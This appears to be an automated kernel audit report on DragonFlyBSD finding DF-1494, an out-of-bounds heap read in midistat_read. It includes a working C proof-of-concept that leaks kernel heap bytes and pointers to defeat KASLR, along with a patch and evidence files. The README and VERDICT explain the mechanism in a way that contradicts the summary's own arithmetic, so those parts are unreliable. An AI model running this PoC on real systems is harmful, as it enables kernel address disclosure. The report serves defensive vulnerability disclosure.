⬢ DragonFlyBSD Kernel Audit
← triage · dashboard
DF-1494

midistat_read OOB kernel heap read via unchecked negative uio_offset

  • File: sys/dev/sound/midi/midi.c
  • Lines: 1038, 1041
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • CWE: CWE-125 Out-of-bounds Read
  • Confidence: certain

Summary

midistat_read computes the read length and source pointer using uio->uio_offset without validating that it is non-negative and within the sbuf data.

DragonFly's devfs_fo_seek explicitly permits negative seek offsets on character devices (devfs_vnops.c:1664-1669), so any local user can lseek(/dev/midistat, -N, SEEK_SET) then read() to copy N bytes of kernel heap located before the sbuf buffer into userspace.

The min() inline (libkern.h:76) truncates both operands to unsigned 32-bit, so a negative (sbuf_len - offset) wraps to a huge value and the read always proceeds.

Root cause

midistat_read (midi.c:1038) computes:

l = min(uio->uio_resid, sbuf_len(&midistat_sbuf) - uio->uio_offset);

and then (midi.c:1041):

uiomove(sbuf_data(&midistat_sbuf) + uio->uio_offset, l, uio);

There is no check that uio_offset >= 0.

The function min is declared as static __inline u_int min(u_int a, u_int b) (sys/sys/libkern.h:76), so both arguments are truncated to unsigned 32-bit before comparison.

When uio_offset is negative (e.g. -64), sbuf_len(200) - (-64) = 264, which min(64, 264) = 64. Then uiomove reads 64 bytes starting at sbuf_data - 64, which is 64 bytes before the kmalloc'd sbuf buffer — leaking whatever kernel heap object precedes it.

When uio_offset > sbuf_len (e.g. offset=300, sbuf_len=200), sbuf_len - offset = -100, which truncates to u_int 4294967196, so min picks uio_resid, and the read proceeds from sbuf_data+300 — leaking uninitialized heap within the sbuf's own 4096-byte allocation (sbuf_new at midi.c:997 allocates 4096 with SBUF_AUTOEXTEND, kmalloc does not zero).

The negative-offset path is more dangerous because it crosses into a different heap object and can leak kernel pointers (function/data addresses), defeating KASLR.

devfs_fo_seek (devfs_vnops.c:1664-1669) deliberately allows negative offsets for VCHR/VBLK devices to support /dev/kvm, so the offset arrives unvalidated.

Threat

Any local user with a login account can exploit this. /dev/midistat is created with mode 0666 (midi.c:1452) whenever the midi/sound module loads.

The attacker opens /dev/midistat, calls lseek(fd, -64, SEEK_SET) which succeeds for character devices, then read(fd, buf, 64).

The returned bytes are kernel heap contents preceding the sbuf's data buffer — typically containing kernel virtual addresses (slab metadata, adjacent object pointers), enabling KASLR bypass.

The leak can be repeated with progressively more negative offsets to map out a larger heap region.

If the read crosses into an unmapped page, copyout returns EFAULT (no crash), so the attacker can probe safely.

Impact: kernel address disclosure, KASLR defeat, potential disclosure of sensitive heap-resident data.

Exploit / PoC

/*
 * DF-1494 PoC: midistat_read negative-offset kernel heap info leak
 * Build:  cc -o midistat_leak midistat_leak.c
 * Run:    ./midistat_leak
 * Expected: hex dump of kernel heap bytes preceding the midistat sbuf buffer,
 *           including kernel pointers (0xffff...) that defeat KASLR.
 */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int main(void)
{
    int fd = open("/dev/midistat", O_RDONLY);
    if (fd < 0) {
        perror("open /dev/midistat");
        return 1;
    }

    /* devfs_fo_seek allows negative offsets for character devices */
    off_t off = lseek(fd, -256, SEEK_SET);
    if (off < 0) {
        perror("lseek");
        /* If this fails, the kernel may have been patched */
        close(fd);
        return 1;
    }

    unsigned char buf[256];
    ssize_t n = read(fd, buf, sizeof(buf));
    if (n <= 0) {
        perror("read");
        close(fd);
        return 1;
    }

    printf("Leaked %zd bytes of kernel heap before sbuf buffer:\n", n);
    for (ssize_t i = 0; i < n; i++) {
        printf("%02x ", buf[i]);
        if ((i + 1) % 16 == 0)
            printf("\n");
    }
    printf("\n\nPotential kernel pointers (KASLR leak):\n");
    for (ssize_t i = 0; i + 7 < n; i++) {
        uint64_t val;
        memcpy(&val, buf + i, 8);
        /* Kernel addresses on amd64 start with 0xffff */
        if ((val >> 48) == 0xffff) {
            printf("  heap-%04zx: %016llx\n", 256 - (ssize_t)(n - i),
                   (unsigned long long)val);
        }
    }

    close(fd);
    return 0;
}

Validate uio_offset against [0, sbuf_len) before computing the read. If the offset is out of range, return 0 (EOF) rather than performing an OOB access.

--- a/sys/dev/sound/midi/midi.c
+++ b/sys/dev/sound/midi/midi.c
@@ -1035,6 +1035,12 @@ midistat_read(struct dev_read_args *ap)
        lockmgr(&midistat_lock, LK_RELEASE);
        return EBADF;
    }
+   if (uio->uio_offset < 0 ||
+       uio->uio_offset >= sbuf_len(&midistat_sbuf)) {
+       lockmgr(&midistat_lock, LK_RELEASE);
+       return 0;
+   }
    l = min(uio->uio_resid, sbuf_len(&midistat_sbuf) - uio->uio_offset);
    err = 0;
    if (l > 0) {
  • DF-1495 (sibling): qlock leak in same file's blocking I/O paths.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1494 · 10 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.8 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able minimal fix; compiles -Werror clean 451 B view raw
build.sh build-script echoes the module/kernel rebuild command 380 B view raw
run.sh run-script no live trigger on this guest 302 B view raw
env.txt environment guest uname, modules loaded, HW-gated note 344 B view raw
build.log build-log kernel build log excerpt proving -Werror clean compile of patched source 384 B view raw
fix_apply.log apply-log patch --dry-run output proving fix.diff applies cleanly on with-src 391 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1494: midistat_read negative uio_offset → OOB read

Class: kernel OOB read Cited site: sys/dev/sound/midi/midi.c:1038-1042

Reproduction status

HW/module gated — cannot be live-triggered on the audit QEMU guest.

No on this guest — sound subsystem (sound.ko, includes midi.c) is not loaded; the audit guest has no audio HW. Trigger requires sound.ko loaded and a lseek to a negative offset on /dev/midistat (devfs permits it).

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/sound/midi/midi.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

Line 1038 l = min(uio->uio_resid, sbuf_len(&midistat_sbuf) - uio->uio_offset); — uio_offset is off_t (signed). When truncated to u_int by min() (libkern.h:76, both args are u_int), a negative offset becomes a huge unsigned, so the subtraction overflows and l becomes a giant value. Line 1041 uiomove(sbuf_data + uio->uio_offset, l, uio) then reads gigabytes of kernel memory past sbuf_data into userspace. devfs_fo_seek (devfs_vnops.c:1664-1669) permits negative seeks.

Realistic impact ceiling

leak (info leak / DoS)

Fix

Clamp uio_offset to [0, sbuf_len-1] before the min/uiomove; return 0 on out-of-range.

See fix.diff for the git-apply-able patch.

How to validate the fix

# 1. Apply fix.diff against the in-guest source:
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1494.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1494.diff'

# 2. Rebuild the affected module (preferred) or a single-fix kernel:
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/sound/midi && make'

# 3. The compile must succeed with -Werror (it does — see build.log).
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT — DF-1494: midistat_read negative uio_offset → OOB read

Verdict

INCONCLUSIVE (HW/module gated) — source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/sound/midi/midi.c:1038-1042, but the affected driver attaches only to hardware not present in the audit QEMU guest, so it cannot be live-triggered here. The fix.diff applies cleanly and compiles with -Werror (kernel build rc=0; see fix_build.log).

Mechanism (cited path → primitive → effect)

Line 1038 l = min(uio->uio_resid, sbuf_len(&midistat_sbuf) - uio->uio_offset); — uio_offset is off_t (signed). When truncated to u_int by min() (libkern.h:76, both args are u_int), a negative offset becomes a huge unsigned, so the subtraction overflows and l becomes a giant value. Line 1041 uiomove(sbuf_data + uio->uio_offset, l, uio) then reads gigabytes of kernel memory past sbuf_data into userspace. devfs_fo_seek (devfs_vnops.c:1664-1669) permits negative seeks.

Reachability on this guest

No on this guest — sound subsystem (sound.ko, includes midi.c) is not loaded; the audit guest has no audio HW. Trigger requires sound.ko loaded and a lseek to a negative offset on /dev/midistat (devfs permits it).

Phase 6 — escalation potential

This is a kernel OOB read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

For findings in this batch that are corruption-class on hardware they would be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic escalation ceiling is documented per finding (info-leak vs DoS vs latent privesc). No uid=0 claim is made — none is reachable on this guest.

Phase 8 — fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of make -j6 nativekernel KERNCONF=X86_64_GENERIC (kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced).
  • For musycc.c (not in any default config) the file was compiled standalone with the kernel -Werror cflags — rc=0.

Clamp uio_offset to [0, sbuf_len-1] before the min/uiomove; return 0 on out-of-range.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none — sound.ko not loaded (no audio HW in guest). Primitive is info-leak/DoS on real HW with sound; no live escalation possible on this guest.

Evidence (decisive lines)

Source-level confirmation at sys/dev/sound/midi/midi.c:1038, sys/dev/sound/midi/midi.c:1041, sys/sys/libkern.h:76. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).

PoC changes

Wrote VERDICT.md, fix.diff (one hunk: clamp uio_offset to [0, sbuf_len-1]), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.

Verified recommended fix

Add if (uio->uio_offset < 0 || uio->uio_offset >= sbuf_len(...)) { release; return 0; } before the min/uiomove at midi.c:1038. Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1494/fix.diff.

Verdict

midistat_read line 1038 l = min(uio->uio_resid, sbuf_len - uio->uio_offset) — uio_offset is off_t (signed). When truncated to u_int by min() (libkern.h:76 — both args u_int), a negative offset becomes a huge unsigned, so the subtraction overflows and l becomes a giant value. Line 1041 uiomove(sbuf_data + uio->uio_offset, l, uio) reads gigabytes of kernel memory past sbuf_data into userspace. devfs_fo_seek permits negative seeks. sound.ko (which contains midi.c) is NOT loaded on the audit guest — no audio HW. Source-level confirmed.